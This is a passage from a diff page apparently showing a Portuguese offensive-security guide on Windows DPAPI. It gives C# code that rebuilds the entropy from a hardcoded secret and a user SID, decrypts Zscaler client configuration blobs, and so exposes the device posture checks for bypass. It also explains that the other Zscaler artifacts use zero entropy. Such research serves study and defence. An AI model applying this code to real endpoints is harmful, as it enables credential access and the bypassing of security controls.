					byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
 | 
				
			||||||
 | 
					byte[] sid    = Encoding.UTF8.GetBytes(CurrentUserSID);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					// XOR the two buffers byte-by-byte
 | 
				
			||||||
 | 
					byte[] tmp = new byte[secret.Length];
 | 
				
			||||||
 | 
					for (int i = 0; i < secret.Length; i++)
 | 
				
			||||||
 | 
					tmp[i] = (byte)(sid[i] ^ secret[i]);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					// Split in half and XOR both halves together to create the final entropy buffer
 | 
				
			||||||
 | 
					byte[] entropy = new byte[tmp.Length / 2];
 | 
				
			||||||
 | 
					for (int i = 0; i < entropy.Length; i++)
 | 
				
			||||||
 | 
					entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Porque o segredo está embutido em uma DLL que pode ser lida do disco, **qualquer atacante local com direitos de SYSTEM pode regenerar a entropia para qualquer SID** e descriptografar os blobs offline:
 | 
				
			||||||
 | 
					```csharp
 | 
				
			||||||
 | 
					byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
 | 
				
			||||||
 | 
					byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
 | 
				
			||||||
 | 
					Console.WriteLine(Encoding.UTF8.GetString(clear));
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					A descriptografia produz a configuração JSON completa, incluindo cada **verificação de postura do dispositivo** e seu valor esperado – informações que são muito valiosas ao tentar contornar verificações do lado do cliente.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					> DICA: os outros artefatos criptografados (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) estão protegidos com DPAPI **sem** entropia (`16` bytes zero). Portanto, podem ser descriptografados diretamente com `ProtectedData.Unprotect` uma vez que os privilégios do SYSTEM sejam obtidos.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Referências
 | 
					## Referências
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
 | 
					- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
 | 
				
			||||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
 | 
					- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
 | 
				
			||||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
 | 
					- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user